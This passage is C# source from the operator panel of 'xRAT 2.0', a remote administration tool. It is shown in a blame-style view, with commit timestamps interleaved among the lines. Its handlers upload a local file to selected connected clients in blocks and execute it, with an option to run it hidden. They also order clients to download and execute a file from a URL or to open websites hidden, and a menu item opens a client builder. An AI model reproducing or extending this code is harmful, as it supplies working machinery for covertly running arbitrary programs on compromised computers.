private void ctxtLocalFile_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
if (lstClients.SelectedItems.Count != 0)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
using (var frm = new FrmUploadAndExecute(lstClients.SelectedItems.Count))
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
if (frm.ShowDialog() == DialogResult.OK)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
new Thread(() =>
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
foreach (ListViewItem lvi in lstClients.SelectedItems)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
Client c = (Client) lvi.Tag;
|
2015-04-06 08:06:33 +00:00
|
|
|
|
|
2015-04-21 18:27:52 +00:00
|
|
|
|
FileSplit srcFile = new FileSplit(UploadAndExecute.FilePath);
|
|
|
|
|
if (srcFile.MaxBlocks < 0)
|
|
|
|
|
{
|
|
|
|
|
MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError),
|
|
|
|
|
"Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
|
|
|
|
|
break;
|
|
|
|
|
}
|
2015-04-13 08:16:45 +00:00
|
|
|
|
|
2015-04-21 18:27:52 +00:00
|
|
|
|
int ID = new Random().Next(int.MinValue, int.MaxValue - 1337); // ;)
|
2015-04-13 08:16:45 +00:00
|
|
|
|
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleStatus(c,
|
|
|
|
|
new Core.Packets.ClientPackets.Status("Uploading file..."));
|
2015-04-13 08:16:45 +00:00
|
|
|
|
|
2015-04-21 18:27:52 +00:00
|
|
|
|
for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
|
|
|
|
|
{
|
|
|
|
|
byte[] block;
|
|
|
|
|
if (!srcFile.ReadBlock(currentBlock, out block))
|
2015-04-13 08:16:45 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError),
|
|
|
|
|
"Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
|
|
|
|
|
break;
|
2015-04-13 08:16:45 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
new Core.Packets.ServerPackets.UploadAndExecute(ID,
|
|
|
|
|
Path.GetFileName(UploadAndExecute.FilePath), block, srcFile.MaxBlocks,
|
|
|
|
|
currentBlock, UploadAndExecute.RunHidden).Execute(c);
|
2015-04-06 08:06:33 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
}
|
|
|
|
|
}).Start();
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void ctxtWebFile_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
if (lstClients.SelectedItems.Count != 0)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
using (var frm = new FrmDownloadAndExecute(lstClients.SelectedItems.Count))
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
if (frm.ShowDialog() == DialogResult.OK)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
foreach (ListViewItem lvi in lstClients.SelectedItems)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
Client c = (Client) lvi.Tag;
|
|
|
|
|
new Core.Packets.ServerPackets.DownloadAndExecute(DownloadAndExecute.URL,
|
|
|
|
|
DownloadAndExecute.RunHidden).Execute(c);
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void ctxtVisitWebsite_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
if (lstClients.SelectedItems.Count != 0)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
using (var frm = new FrmVisitWebsite(lstClients.SelectedItems.Count))
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
if (frm.ShowDialog() == DialogResult.OK)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
foreach (ListViewItem lvi in lstClients.SelectedItems)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
Client c = (Client) lvi.Tag;
|
|
|
|
|
new Core.Packets.ServerPackets.VisitWebsite(VisitWebsite.URL, VisitWebsite.Hidden).Execute(c);
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void ctxtShowMessagebox_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
if (lstClients.SelectedItems.Count != 0)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
Client c = (Client) lstClients.SelectedItems[0].Tag;
|
|
|
|
|
if (c.Value.FrmSm != null)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
c.Value.FrmSm.Focus();
|
|
|
|
|
return;
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
FrmShowMessagebox frmSM = new FrmShowMessagebox(c);
|
|
|
|
|
frmSM.Show();
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
#endregion
|
|
|
|
|
|
2015-01-27 22:56:52 +00:00
|
|
|
|
#endregion
|
|
|
|
|
|
|
|
|
|
#region "MenuStrip"
|
2015-04-21 18:27:52 +00:00
|
|
|
|
|
2015-01-27 22:56:52 +00:00
|
|
|
|
private void menuClose_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
Application.Exit();
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void menuSettings_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
using (var frm = new FrmSettings(ListenServer))
|
|
|
|
|
{
|
|
|
|
|
frm.ShowDialog();
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void menuBuilder_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
using (var frm = new FrmBuilder())
|
|
|
|
|
{
|
|
|
|
|
frm.ShowDialog();
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void menuStatistics_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
if (ListenServer.BytesReceived == 0 || ListenServer.BytesSent == 0)
|
2015-04-21 18:27:52 +00:00
|
|
|
|
MessageBox.Show("Please wait for at least one connected Client!", "xRAT 2.0", MessageBoxButtons.OK,
|
|
|
|
|
MessageBoxIcon.Information);
|
2015-01-27 22:56:52 +00:00
|
|
|
|
else
|
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
using (
|
|
|
|
|
var frm = new FrmStatistics(ListenServer.BytesReceived, ListenServer.BytesSent,
|
|
|
|
|
ListenServer.ConnectedClients, ListenServer.AllTimeConnectedClients.Count))
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
|
|
|
|
frm.ShowDialog();
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void menuAbout_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
using (var frm = new FrmAbout())
|
|
|
|
|
{
|
|
|
|
|
frm.ShowDialog();
|
|
|
|
|
}
|
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
|
2015-01-27 22:56:52 +00:00
|
|
|
|
#endregion
|
|
|
|
|
|
|
|
|
|
#region "NotifyIcon"
|
2015-04-21 18:27:52 +00:00
|
|
|
|
|
2015-01-27 22:56:52 +00:00
|
|
|
|
private void nIcon_MouseDoubleClick(object sender, MouseEventArgs e)
|
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
this.WindowState = (this.WindowState == FormWindowState.Normal)
|
|
|
|
|
? FormWindowState.Minimized
|
|
|
|
|
: FormWindowState.Normal;
|
2015-01-27 22:56:52 +00:00
|
|
|
|
this.ShowInTaskbar = (this.WindowState == FormWindowState.Normal);
|
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
|
2015-01-27 22:56:52 +00:00
|
|
|
|
#endregion
|
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
}
|